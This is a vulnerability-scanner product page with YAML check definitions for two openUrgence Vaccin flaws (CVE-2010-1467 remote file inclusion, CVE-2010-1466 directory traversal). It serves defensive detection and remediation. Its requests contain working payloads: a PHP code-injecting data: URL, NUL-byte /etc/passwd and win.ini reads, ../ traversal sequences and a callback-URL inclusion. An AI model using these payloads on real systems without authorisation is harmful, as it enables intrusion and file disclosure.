openUrgence Vaccin — 2 vulnerability checks
noctis ships 2 vulnerability checks for openUrgence Vaccin, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
openUrgence Vaccin path_om Remote File Inclusion
| CVE | CVE-2010-1467 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/openurgence-vaccin/CVE-2010-1467.yaml |
Tests openUrgence Vaccin (1.03 and earlier) for the unauthenticated file inclusion in its generated classes under gen/obj/ (collectivite.class.php, injection.class.php and eight others), which include the path_om parameter followed by a framework file name when register_globals is on. The feed requests gen/obj/collectivite.class.php and gen/obj/injection.class.php under the usual install folders with path_om set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. Otherwise it sets path_om to /etc/passwd (then /windows/win.ini) followed by a NUL byte, which cuts off the appended file name on PHP before 5.3.4: the file content in the reply, while a control request for an absent file returns none, confirms the inclusion. When OOB is enabled, path_om is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output is hidden. Last, a PHP include warning naming a random path_om value shows that the value reaches include() unchecked. The snippet only prints a hash, only world-readable system files are read, and the account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{page}}?path_om={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: openUrgence Vaccin path_om Remote File Inclusion (CVE-2010-1467) - HTTP(S) request
GET {{page}}?path_om=/etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{page}}?path_om=/windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{page}}?path_om={{ctrl_path}}%00 - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: openUrgence Vaccin path_om File Inclusion (CVE-2010-1467) - Checks
win_filefor^windows/win\.ini$→ finding QoD 75: openUrgence Vaccin path_om File Inclusion (CVE-2010-1467) - … and 5 more steps — see the feed source below
References:
Feed source — tests/vulnerabilities/openurgence-vaccin/CVE-2010-1467.yaml
# openUrgence Vaccin gen/obj/*.class.php path_om remote file inclusion — CVE-2010-1467
#
# openUrgence Vaccin (an openMairie 2.x/3.x vaccination-campaign application,
# 1.03 and earlier) relies on register_globals. Its generated classes under
# gen/obj/ (collectivite, injection, utilisateur, droit, laboratoire, vaccin,
# effetsecondaire, medecin, individu, profil — advisory: exploit-db 12193)
# include the framework class through $path_om before anything sets it, so a
# direct request with path_om=<x> includes "<x><framework file name>". The
# application source is no longer published: the appended file name is not
# known, so every check below is independent of it.
#
# Detection, per usual install folder (the web root, /ou, /openurgencevaccin,
# /openurgence_vaccin) and per class file (collectivite, injection):
# 1. In-band code execution (QoD 97): path_om is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. With allow_url_include
# (PHP >= 5.2) the code runs, exit() ends the script before the appended
# file name matters, and the reply carries md5 of the product, a value
# the request never contains. A refused wrapper only quotes the code text.
# The code has no quotes (magic_quotes_gpc-safe) and writes nothing.
# 2. Local inclusion (QoD 75): path_om=/etc/passwd%00 (then
# /windows/win.ini%00): on PHP < 5.3.4 the NUL byte cuts the appended
# name and the file content comes back. A control request for an absent
# file under a random folder, ending with the same file name, must return
# no file content and the same status (blanket responders, honeypots).
# This is the check of the source NASL, with the control added.
# 3. OOB (QoD 97, only when OOB is enabled): path_om is the noctis callback
# URL followed by "?", so the appended name lands in the query string; a
# fetch of the URL is the remote inclusion (also with errors hidden).
# 4. Fallback (QoD 75): path_om is a random value; the reply must carry
# PHP's include warning ("include(<value><name>)" or "Failed opening
# '<value><name>'") — the value starts the included path. A page echoing
# its query string never puts the value right after "include(".
#
# CVSS: NVD v2 7.5 (no v3 score). Note: NVD maps CVE-2010-1467 to path_om and
# CVE-2010-1466 to scr/soustab.php dsn[phptype] (see CVE-2010-1466.yaml).
#
# Ported from OpenVAS/Greenbone NVTs 2010/gb_openUrgence_39412.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100627) and
# 2010/gb_open_urgence_vaccin_mult_lfi_vuln.nasl (GPL-2.0-only). Improvements:
# real code execution / OOB proof, absent-file control on the file read,
# Windows win.ini, a check that still works on PHP >= 5.3.4 (include warning),
# and no dependency on the product detection (index.php title).
uid: 10a83ebf-429d-4c15-bad1-04cf0d5c9ddc
name: "openUrgence Vaccin path_om Remote File Inclusion (CVE-2010-1467)"
description: |
Tests openUrgence Vaccin (1.03 and earlier) for the unauthenticated file
inclusion in its generated classes under gen/obj/ (collectivite.class.php,
injection.class.php and eight others), which include the path_om parameter
followed by a framework file name when register_globals is on. The feed
requests gen/obj/collectivite.class.php and gen/obj/injection.class.php
under the usual install folders with path_om set to a data: URL carrying a
small PHP snippet that prints the md5 of the product of two random numbers;
that md5 in the reply confirms that the server ran code supplied in the
request. Otherwise it sets path_om to /etc/passwd (then /windows/win.ini)
followed by a NUL byte, which cuts off the appended file name on PHP before
5.3.4: the file content in the reply, while a control request for an absent
file returns none, confirms the inclusion. When OOB is enabled, path_om is
also set to the scanner's callback URL, and a fetch of that URL confirms
the remote inclusion even when PHP output is hidden. Last, a PHP include
warning naming a random path_om value shows that the value reaches
include() unchecked. The snippet only prints a hash, only world-readable
system files are read, and the account name (unless root), password field
and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2010-1467]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [openurgence, openmairie, php, rfi, remote-file-inclusion, lfi, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-1467"
- "https://www.exploit-db.com/exploits/12193"
# OpenVAS/Greenbone NASLs 2010/gb_openUrgence_39412.nasl and
# 2010/gb_open_urgence_vaccin_mult_lfi_vuln.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every page ───────────────────────────────────
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-page
action: set_var
var_name: warn_page
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# page. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: page
over:
- "/gen/obj/collectivite.class.php"
- "/gen/obj/injection.class.php"
- "/ou/gen/obj/collectivite.class.php"
- "/ou/gen/obj/injection.class.php"
- "/openurgencevaccin/gen/obj/collectivite.class.php"
- "/openurgencevaccin/gen/obj/injection.class.php"
- "/openurgence_vaccin/gen/obj/collectivite.class.php"
- "/openurgence_vaccin/gen/obj/injection.class.php"
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{page}}?path_om={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "openUrgence Vaccin path_om Remote File Inclusion (CVE-2010-1467)"
description: "An unauthenticated request to a generated class under gen/obj/ with path_om set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. The class includes path_om without any check, so an attacker can run any PHP code on the server."
remediation: "openUrgence Vaccin 1.03 is no longer maintained: remove it, or move to a current openMairie-based release. Until then, deny web access to the gen/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{page}}?path_om=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 2. NUL-byte local inclusion of a system file ─────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{page}}?path_om=/etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "rce_r.status != 404"
store_as: passwd_r
# No on_match: the raw body must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
condition: "passwd_r.status != 0"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_r.status != 0 && passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
- id: read-winini
action: http_request
method: GET
path: "{{page}}?path_om=/windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status == 200'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status == 200 && winini_r.status != 0'
on_match:
set_vars:
win_file: "windows/win.ini"
# Control: an absent random folder, same file name at the end, NUL byte.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"/noctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{page}}?path_om={{ctrl_path}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])"
condition: 'ctrl_r.status != 0 && (lin_proof != "" || win_file != "")'
on_match:
set_vars:
ctrl_hit: true
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "openUrgence Vaccin path_om File Inclusion (CVE-2010-1467)"
description: "An unauthenticated request to a generated class under gen/obj/ with path_om set to /etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The class includes path_om without any check: any file the web server user can read is disclosed, PHP code in an included file runs, and with URL inclusion enabled code from a remote server runs too."
remediation: "openUrgence Vaccin 1.03 is no longer maintained: remove it, or move to a current openMairie-based release. Until then, deny web access to the gen/ folder, disable register_globals, set allow_url_include and allow_url_fopen to Off and run PHP 5.3.4 or later (no NUL-byte path cut)."
confidence_delta: 0.55
qod: 75
evidence: "GET {{page}}?path_om=/etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^windows/win\\.ini$"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "openUrgence Vaccin path_om File Inclusion (CVE-2010-1467)"
description: "An unauthenticated request to a generated class under gen/obj/ with path_om set to /windows/win.ini and a NUL byte returned the content of win.ini, while the same request for an absent file did not. The class includes path_om without any check: any file the web server user can read is disclosed, PHP code in an included file runs, and with URL inclusion enabled code from a remote server runs too."
remediation: "openUrgence Vaccin 1.03 is no longer maintained: remove it, or move to a current openMairie-based release. Until then, deny web access to the gen/ folder, disable register_globals, set allow_url_include and allow_url_fopen to Off and run PHP 5.3.4 or later (no NUL-byte path cut)."
confidence_delta: 0.55
qod: 75
evidence: "GET {{page}}?path_om=/windows/win.ini%00 returned the content of win.ini; control for an absent file returned no file content"
stop: true
# ── 4. Random value — include warning naming it (fallback, reported after
# the OOB wait so a callback wins) ────────────────────────────────────────
- id: warn-probe
action: http_request
method: GET
path: "{{page}}?path_om={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
# Also when the code probe got no reply (status 0, e.g. a filter
# dropping "<?php"): this plain request may still get through.
condition: 'warn_page == "" && rce_r.status != 404'
store_as: warn_r
# The value must START the included path and be followed by the appended
# file name: include(<value><name>) or Failed opening '<value><name>'.
- id: warn-check
action: script
code: |
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let m = probe.marker;
if ereg("(?:include|require|main)(?:_once)?\\(" + m + "[A-Za-z0-9_.-]+\\)|Failed opening (?:required )?'" + m + "[A-Za-z0-9_.-]+'", b) { page } else { "" }
condition: 'warn_page == ""'
store_as: warn_page
# ── 3. Callback URL — remote inclusion seen out of band ──────────────────
# "%3F" makes the appended file name a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{page}}?path_om={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "openUrgence Vaccin path_om Remote File Inclusion (CVE-2010-1467)"
description: "An unauthenticated request to a generated class under gen/obj/ with path_om set to the noctis callback URL made the server fetch that URL: the class includes path_om without any check, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "openUrgence Vaccin 1.03 is no longer maintained: remove it, or move to a current openMairie-based release. Until then, deny web access to the gen/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <install>/gen/obj/<class>.class.php?path_om=<OOB URL>? (remote file inclusion)"
stop: true
# ── Fallback finding: include warning naming the random value ────────────
- id: report-warn
action: match
source: warn_page
pattern: "^/.*\\.class\\.php$"
condition: 'warn_page != ""'
on_match:
finding:
title: "openUrgence Vaccin path_om File Inclusion (CVE-2010-1467)"
description: "An unauthenticated request to a generated class under gen/obj/ with path_om set to a random value returned a PHP include warning for a path starting with that value: the class passes path_om to include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the start of the included path is attacker-controlled."
remediation: "openUrgence Vaccin 1.03 is no longer maintained: remove it, or move to a current openMairie-based release. Until then, deny web access to the gen/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_page}}?path_om={{probe.marker}} returned a PHP include warning for a path starting with {{probe.marker}}"
stop: trueopenUrgence Vaccin soustab.php dsn[phptype] Directory Traversal
| CVE | CVE-2010-1466 |
|---|---|
| Severity | medium · CVSS 6.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/openurgence-vaccin/CVE-2010-1466.yaml |
Tests openUrgence Vaccin (1.03 and earlier) for the unauthenticated directory traversal in scr/soustab.php, which includes a SQL script whose path is built from the dsn[phptype] parameter when register_globals is on. The feed requests scr/soustab.php under the usual install folders with dsn[phptype] set to a ../ sequence ending in etc/passwd (then windows/win.ini) and a NUL byte, which cuts off the rest of the path on PHP before 5.3.4: the file content in the reply, while a control request for an absent file returns none, confirms the file read. Otherwise it sets dsn[phptype] to a random value: a PHP include warning for a path holding that value between slashes shows that the parameter reaches include() unchecked. Only world-readable system files are read, and the account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/scr/soustab.php?dsn[phptype]=../../../../../../../../../../../../etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/scr/soustab.php?dsn[phptype]=../../../../../../../../../../../../windows/win.… - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/scr/soustab.php?dsn[phptype]={{ctrl_path}}%00 - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: openUrgence Vaccin soustab.php dsn[phptype] Directory Traversal (CVE-2010-1466) - Checks
win_filefor^windows/win\.ini$→ finding QoD 75: openUrgence Vaccin soustab.php dsn[phptype] Directory Traversal (CVE-2010-1466) - HTTP(S) request
GET {{dir}}/scr/soustab.php?dsn[phptype]={{marker}} - Parses / computes the next value with a Rhai script
- Checks
warn_dirfor^/→ finding QoD 75: openUrgence Vaccin soustab.php dsn[phptype] File Inclusion (CVE-2010-1466)
References:
Feed source — tests/vulnerabilities/openurgence-vaccin/CVE-2010-1466.yaml
# openUrgence Vaccin scr/soustab.php dsn[phptype] directory traversal — CVE-2010-1466
#
# openUrgence Vaccin (an openMairie 2.x/3.x application, 1.03 and earlier)
# relies on register_globals. scr/soustab.php builds the path of its SQL
# listing script from the database type (openMairie's
# "sql/<phptype>/<table>.inc" layout) and includes it, so
# scr/soustab.php?dsn[phptype]=<x> includes "../sql/<x>/<table>.inc"
# (advisory: exploit-db 12193, dsn[phptype]=[LFI%00]). The application source
# is no longer published: the checks below rely only on the value sitting in
# the included path, never on the rest of that path.
#
# Detection, per usual install folder (the web root, /ou, /openurgencevaccin,
# /openurgence_vaccin):
# 1. File read (QoD 75): dsn[phptype] = twelve "../" + etc/passwd + %00
# (then windows/win.ini): on PHP < 5.3.4 the NUL byte cuts the rest of
# the path and the file content comes back. A control request for an
# absent file under a random folder, ending with the same file name,
# must return no file content and the same status (blanket responders,
# honeypots).
# 2. Fallback (QoD 75): dsn[phptype] = a random value; the reply must carry
# PHP's include warning ("failed to open stream" / "Failed opening") for
# a path holding "/<value>/" — the value went, between slashes, into the
# included path. This is the check the openMairie sibling NASLs use
# ("/vt-rfi.txt/" + "failed to open stream"), anchored on the include
# call so a page echoing its query string is not reported. It also works
# on PHP >= 5.3.4, where the NUL byte no longer cuts the path.
#
# CVSS: NVD v2 6.8 (no v3 score). Note: NVD maps CVE-2010-1466 to soustab.php
# dsn[phptype] and CVE-2010-1467 to path_om (see CVE-2010-1467.yaml).
#
# The source NASLs (2010/gb_openUrgence_39412.nasl, OID
# 1.3.6.1.4.1.25623.1.0.100627, and gb_open_urgence_vaccin_mult_lfi_vuln.nasl,
# GPL-2.0-only) list this CVE but only probe path_om; this feed covers the
# soustab.php flaw itself, following the sibling openMairie NASLs
# (gb_openmairie_*_mult_file_incl_vuln.nasl).
uid: 4ecf0d02-6254-4488-96b9-548888e659b9
name: "openUrgence Vaccin soustab.php dsn[phptype] Directory Traversal (CVE-2010-1466)"
description: |
Tests openUrgence Vaccin (1.03 and earlier) for the unauthenticated
directory traversal in scr/soustab.php, which includes a SQL script whose
path is built from the dsn[phptype] parameter when register_globals is on.
The feed requests scr/soustab.php under the usual install folders with
dsn[phptype] set to a ../ sequence ending in etc/passwd (then
windows/win.ini) and a NUL byte, which cuts off the rest of the path on PHP
before 5.3.4: the file content in the reply, while a control request for an
absent file returns none, confirms the file read. Otherwise it sets
dsn[phptype] to a random value: a PHP include warning for a path holding
that value between slashes shows that the parameter reaches include()
unchecked. Only world-readable system files are read, and the account name
(unless root), password field and gecos of the uid-0 line are redacted
from the evidence.
cves: [CVE-2010-1466]
cvss: 6.8
severity: medium
category: file-read
confidence_base: 0.30
tags: [openurgence, openmairie, php, lfi, local-file-inclusion, path-traversal, file-read, register-globals, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-1466"
- "https://www.exploit-db.com/exploits/12193"
# OpenVAS/Greenbone NASLs 2010/gb_openUrgence_39412.nasl and
# 2010/gb_openmairie_*_mult_file_incl_vuln.nasl (GPL-2.0-only)
steps:
- id: build-marker
action: script
code: '"noctis" + rand_str(12)'
store_as: marker
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
# ── Loop group: every following step runs once per install folder. Each
# pass resets the values it reads.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/ou", "/openurgencevaccin", "/openurgence_vaccin"]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
# ── 1. NUL-byte traversal to a system file ───────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/scr/soustab.php?dsn[phptype]=../../../../../../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
condition: "passwd_r.status != 0"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_r.status != 0 && passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/scr/soustab.php?dsn[phptype]=../../../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status == 200'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status == 200 && winini_r.status != 0'
on_match:
set_vars:
win_file: "windows/win.ini"
# Control: an absent random folder, same file name at the end, NUL byte.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/scr/soustab.php?dsn[phptype]={{ctrl_path}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])"
condition: 'ctrl_r.status != 0 && (lin_proof != "" || win_file != "")'
on_match:
set_vars:
ctrl_hit: true
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "openUrgence Vaccin soustab.php dsn[phptype] Directory Traversal (CVE-2010-1466)"
description: "An unauthenticated request to scr/soustab.php with dsn[phptype] set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. soustab.php includes a path built from dsn[phptype] without any check: any file the web server user can read is disclosed, and PHP code in an included file runs."
remediation: "openUrgence Vaccin 1.03 is no longer maintained: remove it, or move to a current openMairie-based release. Until then, disable register_globals and run PHP 5.3.4 or later (no NUL-byte path cut)."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/scr/soustab.php?dsn[phptype]=../../../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^windows/win\\.ini$"
condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
on_match:
finding:
title: "openUrgence Vaccin soustab.php dsn[phptype] Directory Traversal (CVE-2010-1466)"
description: "An unauthenticated request to scr/soustab.php with dsn[phptype] set to a ../ sequence ending in windows/win.ini and a NUL byte returned the content of win.ini, while the same request for an absent file did not. soustab.php includes a path built from dsn[phptype] without any check: any file the web server user can read is disclosed, and PHP code in an included file runs."
remediation: "openUrgence Vaccin 1.03 is no longer maintained: remove it, or move to a current openMairie-based release. Until then, disable register_globals and run PHP 5.3.4 or later (no NUL-byte path cut)."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/scr/soustab.php?dsn[phptype]=../../../../../../../../../../../../windows/win.ini%00 returned the content of win.ini; control for an absent file returned no file content"
stop: true
# ── 2. Random value — include warning naming it between slashes ─────────
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/scr/soustab.php?dsn[phptype]={{marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'warn_dir == "" && passwd_r.status != 404'
store_as: warn_r
- id: warn-check
action: script
code: |
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let p = "/" + marker + "/";
let hit = ereg("(?:include|require)(?:_once)?\\([^)'\"<>\\r\\n]*" + p + "[^)'\"<>\\r\\n]*\\)", b)
|| ereg("Failed opening (?:required )?'[^'<>\\r\\n]*" + p + "[^'<>\\r\\n]*'", b);
if hit && ereg("(?i)failed to open stream|Failed opening", b) { dir + "/" } else { "" }
condition: 'warn_dir == ""'
store_as: warn_dir
- id: report-warn
action: match
source: warn_dir
pattern: "^/"
condition: 'warn_dir != ""'
on_match:
finding:
title: "openUrgence Vaccin soustab.php dsn[phptype] File Inclusion (CVE-2010-1466)"
description: "An unauthenticated request to scr/soustab.php with dsn[phptype] set to a random value returned a PHP include warning for a path holding that value between slashes: soustab.php builds the included path from dsn[phptype] without any check. No file content was read (the NUL-byte cut needs PHP before 5.3.4), but ../ sequences in the parameter move the included path anywhere on the server."
remediation: "openUrgence Vaccin 1.03 is no longer maintained: remove it, or move to a current openMairie-based release. Until then, disable register_globals."
confidence_delta: 0.50
qod: 75
evidence: "GET {{warn_dir}}scr/soustab.php?dsn[phptype]={{marker}} returned a PHP include warning for a path holding /{{marker}}/"
stop: true